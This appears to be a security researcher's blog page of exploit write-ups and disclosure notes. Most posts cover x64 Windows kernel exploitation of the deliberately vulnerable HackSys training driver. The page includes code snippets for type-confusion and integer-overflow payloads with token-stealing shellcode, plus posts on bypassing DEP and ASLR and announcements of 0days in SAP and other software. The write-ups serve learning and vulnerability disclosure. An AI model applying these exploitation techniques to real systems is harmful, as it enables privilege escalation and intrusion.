Work done and to be done

Panda Security Cloud (Free) Antivirus - PSKMAD.sys - Blue Screen of Death

2017-04-29

And who's going to protect you from your protection software?

The binary was compiled in x64 mode. Tested on Windows 7 SP1 Pro x64 and Windows 10 Pro x64.

Source and binary can be found here

x64 Kernel Exploit Write Up - Type Confusion - Windows Server 2008 R2 Standard x64

2017-03-24


Based on the HackSys Extreme Vulnerable Driver: here

Let's see the original source code from the driver

Again, I had to start with "fixing" the driver to be compatible with the x64 architecture and be exploitable, not only cause BSoD.

In TypeConfusion.h header file:

The original type definition:

   typedef struct _USER_TYPE_CONFUSION_OBJECT {
        ULONG ObjectID;
        ULONG ObjectType;
    } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

    typedef struct _KERNEL_TYPE_CONFUSION_OBJECT {
        ULONG ObjectID;
        union {
            ULONG ObjectType;
            FunctionPointer Callback;
       };
   } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

So what is the problem with the above code? The types again. ULONG can't hold an 64 bit value, only a 32bit one.

This is how this definition must look like on a 64 bit Windows.

   typedef struct _USER_TYPE_CONFUSION_OBJECT {
       ULONG ObjectID;
       ULONG64 ObjectType;
   } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

   typedef struct _KERNEL_TYPE_CONFUSION_OBJECT {
       ULONG ObjectID;
       union {
           ULONG64 ObjectType;
           FunctionPointer Callback;
       };
    } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;


About the exploit:

We are lucky to see the source code of the driver, so we were able to see what is the structure of the type we also need to define in our exploit to be able to send the correct payload.


In our header file we basically can define the exact same structure what we saw in the source. This will hold the data we send to the driver.

typedef struct _USER_TYPE_CONFUSION_OBJECT {
    ULONG objectID;
    ULONG64 objectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

Allocate memory for our buffer

lpInBuffer = (PUSER_TYPE_CONFUSION_OBJECT)VirtualAlloc(NULL, sizeof(USER_TYPE_CONFUSION_OBJECT), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Fill our structure with the data

    lpInBuffer->objectID = (ULONG)0xffffffff;
    lpInBuffer->objectType = (ULONG64)Shell;


Finally we need to make a slight modification in the assembly to exploit the vulnerability. The stack alignment after stealing the token is not like with the previous exploits, we need to add 0x8 more bytes to RSP.


return:
    add rsp, 30h        ; this is Type Confusion exploit specific
    ret

And there we go, got what we came for


The VS2015 exploit source code can be found here.

 x64 Kernel Exploit Write Up - Integer Overflow -

Windows Server 2008 R2 Standard x64

2017-03-13

Based on the HackSys Extreme Vulnerable Driver: here

Let's see the original source code from the driver

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);

    #else
        DbgPrint("[+] Triggering Integer Overflow\n");

        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
            
    #endif

        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;

As I learned from my absolutely none effective attacks against this vulnerability, the code does not take x64 architecture into consideration.    
So on x64 even the "vulnerable" version of the driver is also pretty secure. We'll get back to this a bit later.

Reversing the driver

Assuming, that 800h will be the stack's size, so we need something over this to gain control over the execution.

lea r11, [r12+4] |cmp r11,r13  ---> This is the code part which will decide whether to process our buffer or exit.

The below code is the one processing the buffer until it hits the magic value 0xBAD0B0B0.

I'm assuming that, the below code will be the one triggering our exception with the pointer to our shellcode.



Let's try to BSOD our x64 Win Server 2008

From the assembly we can again safely assume, that the stack's limit is 0x800 (2048) bytes. Everything above this, willoverflow the stack and let us gain control at one point.

This time I'm using VirtualAlloc() to allocate memory for my buffer. (Just code snippets, don't want to spam everything with the declarations)

SIZE_T nInBufferSize = 0x900
lpInBuffer = (PULONG64)VirtualAlloc(NULL, nInBufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); -> allocating our memory

        RtlFillMemory((PVOID64)lpInBuffer, nInBufferSize, 0x41);

        MemoryAddress = (PVOID64)(((ULONG64)lpInBuffer + nInBufferSize)-0x4);
        *(PULONG64)MemoryAddress = (ULONG)0xBAD0B0B0;  ---> this value indicates the end of our buffer for the driver ---> cmp rax, 0BAD0B0B0h
        
        IO2

        DeviceIoControl(hFile,
            HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW,
            (LPVOID)lpInBuffer,
            (DWORD)0xffffffff,
            NULL,
            0,
            &lpBytesReturned,
            NULL);

        // in case we are lucky enough to return from the IOCTL call, we clean up
        VirtualFree((LPVOID)lpInBuffer, nInBufferSize, MEM_RELEASE);
        CloseHandle(hFile);          

Run the PoC, but let's place a breakpoint at the interesting place to see what is going on, at lea     r11,[r12+4]

We can see, that our buffer size 0xffffffff is stored at r12 and we will put the value + 4 to r11 and then compare it to r13 which is set to 0x800 now.
Step through that instruction and see what happens.

he x64 architecture steps in to protect against bad intentions. And the following check fails, and our program returns normally.
On a 32bit platform, this would cause the integer overflow.

Check MSDN for the definition of the DeviceIoControl function, and you'll see, that the buffersize is DWORD length, so we can't pass 8 bytes to it.

Let's "fix" this. The check in integeroverflow.c should look like this. This will work on both architecture.


        if ((ULONG)(Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }

If we run our previous PoC against this driver, we'll see a big difference.
We have now, what we wanted to have.

Let's see our exceptions

This is not the conventional way to determine the offset, but we can based on the exception chain.
We will not have a "vanilla" instruction pointer overwrite, but we are able to control the exception handler.

We have 30 rows of 8 bytes of junk. 240 bytes, meaning 0xf0 in hex. Subtract it from 0x900.
Our EH offset is at 0x810 + we need at least 0x4 bytes for our buffer terminator.
So we only change our code a bit to align everything.



        RtlFillMemory((PVOID64)lpInBuffer, nInBufferSize, 0x41);

        MemoryAddress = (PVOID64)(((ULONG64)lpInBuffer + nInBufferSize) - 0x10); ----> We jump backwards 16 bytes and place the pointer of our shellcode.
        *(PULONG64)MemoryAddress = (ULONG64)Shell;

        MemoryAddress = (PVOID)((ULONG64)MemoryAddress + 0x8);
        *(PULONG64)MemoryAddress = (ULONG)0xBAD0B0B0;

We can use the previously used x64 Win7/Win2008 assembly for this exploit to steal the system token.
You can unhash the int 3 instruction to be able to follow the execution of the token stealing.   

Now you will have 2 possible outcomes

The bad one

The good one


I hope you enjoyed reading the write-up.

You can download the working VS2015 exploit code here.

x64 Kernel Exploit Write Up - Stack Overflow -

Windows Server 2008 R2 Standard

2017-03-09

This is the stack overflow vulnerability 64 bit implementation for Windows 7 SP1 x64 and Windows Server 2008 R2 Standard x64.

More write ups to come for newer operating systems as well (different offsets to implement in the assembly).

Based on HEVD (HackSysTeam's Extreme Vulnerable Driver) - x64 - C language with Visual Studio 2015 integrating MASM (Microsoft Assembler) for x64 Assembly

It was a wild journey, but it totally worth all the pain. Dozens of MSDN pages and peeking into other (smarter) people's work got me here.

I did it, because nobody else did it so far. Everyone wrote the x64 implementations in python. But those ctype imports just freak me out. C is straight forward, even if it makes life harder with the x64 assembly integration with MASM, but nothing is impossible.


First what you need is at least a Visual Studio 2015 community edition (free)

Install the WinDDK to be able to compile the vulnerable driver

Download the osr driver loader to be able to load the driver. (you might need to reboot and disable the safety function of windows to require driver signatures)

You will see small changes compared to other write-up. As it is my very first kernel exploit, they were not easy to find and put everything together to create a working exploit.

Before anyone gets it wrong, it is not just gathering other exploits and putting them together.  I crated this exploit to understand the "why"s during the process of a kernel exploit development. And I can say, I learned heaps.

FuzzySec's powershell write-up was the first I read, and it was the motivation to get myself into trouble (Offsec's AWE). Why? Because I didn't understand a single word from it.


The exploit itself - (in short), to show the main parts to consider during an x64 kernel exploit development


This took me 8 hours to figure out (and to find the right MSDN page) - I almost gave up at this part

That "L" before the handle's name makes the difference of a failing and a working exploit. On x86 you don't need it. It will convert your char array to an unsigned short type array.

( https://msdn.microsoft.com/en-us/library/windows/desktop/aa363147(v=vs.85).aspx )

Getting essential parts from HackSys Driver's Code



Interestingly, the integration with MASM was easier to figure out, than that L...

Setup the integration (Right click on the project -> Build Dependencies - Build Customizations


Make your assembly function available for the main C code with the PUBLIC keyword. The name after it will be our definition's name.

MASM has a bit different syntax compared to NASM, but nothing unsolvable.


Define the assembly function in our main C code

And another important part is the memory addressing and the types used for this.





Be careful, you might BSOD the machine if it is not a Win 7 x64 / Win 2008 x64.

Download the VS2015 project here.

Get the driver from HackSysTeam's github page and build it for x64:

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

The result on my fully patched Windows Server 2008 R2 x64:

0day - SysGauge 1.5.18 -

Released and hacked on the same day

2017-02-28

Math and patience is your friend. You can have a shell, even with a limited stack.

You can find the PoC exploit here


Another SAPGui 7.40 0day

2017-02-21

Details will come soon(er or later depending on SAP's ignorance)

0day - GOM Player - 2.3.10.5266  - Remote memory corruption '.fpx'

2017-02-21

https://www.exploit-db.com/exploits/41367/ 

Exploiting a simple input field and getting code execution

2017-01-10

Remember the NNM exploit? Did you actually rewrote the egghunter by yourself? The calculator is now your best friend for sure.

Again a 0day... Despite I warned the developers last year, sent them the analysis, they released a new version of the software, with the exact same problems. Basically every input field is vulnerable to BOF.

Well now, I will show that it can even give me a shell. The PoC with a simple cmd is ready and working on Win 7 x64 (using the ascii encoded Win function() hunter).

I will not stop until I create a bind shell with only using ascii characters. Hopefully, I can achieve it. Thank god the devs "gave me" 5000 bytes to play with and a bit more if I need it.

Based on the NNM exploit, created in 2008, the same technique is stillvalid in 2017.


Will deliver the 0day with a shell once it is ready. It will definitely take "some" time.

Disabling DEP (nx) and ASLR in 32 bit and 64bit dlls and executables

2017-01-09

Again, simplifying complicated things is the goal. Experimented with a few tools, but powershell seems to be the proper "hexeditor" for this. This small code is also a payload candidate for the WoW64 Windows Function() hunter.

To be successful exploiting a binary with disabled DEP, you will need luck as well, to have OptIn as the setting of the OS. However, as ASLR is also turned off, you have much higher chance to create a workingROP chain in case the OS's nx setting is not "proper" one.

Check out the code on the Creations page.

Ideas how to shorten it even more, are welcome.

The aim is a short,fast and efficient code.

WoW64 Windows "factory" function() hunter is on the loose

2017-01-06

ASLR? Rebase? Please... That is the point, the somehow avoid the restrictions introduced by these security features. I have created it for Windows 7 SP1 Home x64, Windows 7 SP1 Pro x64, Windows Server 2008 R2 x64, Windows Server 2012 R2 x64, Windows 10 Pro x64 and Windows Server 2016 x64.

Tests were carried out on machines without EMET installed, and set DEP to reasonable option to let me live.The raw assembly code can be found at Creations

I grouped the codes to versions they work on. There are 3 groups, the two newest ones are already published. I will polish a little bit the Win7*+Win 2008 code and publish it shortly.

/* Win 7 + Win 2008 version of the code is now published - pay attention to the offsets while hunting for those functions */

The code was tested on a very broad range of dlls if it works how it should.

I am assuming, that you own the machine, or have permission to test such code. Knowing the exact OS version is the key to succeed with the code. For older OSs, probably the installed fixes also introduced changes to the offsets, so take that extra mile, and install the same OS locally to check for the offset.

Most probably the code can be improved, so feel free to contact me with suggestions.

TFTPD32 and TFTPD64 v4.52 - buffer overflow DoS

2017-01-06

As promised, things are coming slowly. Discovered it, had a great conversation with Philippe Jounin, he fixed the issue, and released v4.60 a few days ago which is DoS proof. No direct ret overwrite is possible or control of any registers. Prove me wrong, and teach me how it is being done.

The issue was, that a huge number of requests sent to the server overflowed the buffer which stored the error messages, and this caused a stack overwrite at one point.

FYI, the DoS only occurs on Win 7 and Win Server 2008 (R2). Of course others can be tested from around that era when these OSs were released.

SAPlpd is 0xDEADBEEF

2016-12-27

SAP SE has been notified and CVE request already sent.

The exploit will be only available once SAP confirmed the release of the fix. This vulnerabilityaffects tens of thousands of desktops and servers.

evil Update (2016-12-29) - No reply from SAP yet, so I had time to elevate the attack to a CVSS 10.0

pro Update (2016-12-30) - I have fixed the binary, however for legal reasons it can't be published

pro Update (2017-01-01) - Happy New Year Ladies and Gents! CVE ID assigned

pro Update (2017-01-05) - SAP acknowledged the report, now it is just the matter of time to have the fix

CVE-2016-10079 published - SAP is making controversial comments about releasing a fix and product maintenance.  Dear SAP SE, next time do not waste my time with bs.

SAP HANA 2.0 rev 00 is in scope

2016-12-27

We'll see what happens with a 00 revision and patch level 00. The version levels are already promising.

Coming soon....

Don't expect big things, but they're on the way. Already contacted the developers/companies. Once communication gets rolling with them, I will disclose the details of the vulnerable software. If someone smarter checks and confirms my findings, that would be awesome...

If someone checks and brings them one step further and shows me the procedure, now that is the person who I call professor.

One thing is public, all of them are remote, unauthenticated exploits.

What's next?

If you have any software which you don't trust from security point of view, let me know, and I am sure we will agree how to proceed on its testing.

Make sure, that if you want me to disassemble the code and take a really deep look into it, I have the right to do it.

Many authors strictly disallow any kind of reverse engineering on their software to keep their bad code safe...until the moment, the code meets somebody, who has no fear to act against the law.

Publicly Available Exploits

uSQLite -  https://www.exploit-db.com/exploits/40635/

Remote Utilities Host - https://www.exploit-db.com/exploits/40825/

The contents of the site are the property of SAPtech ERP Consulting Pty. Ltd. and Pro Consulting Hungary Ltd.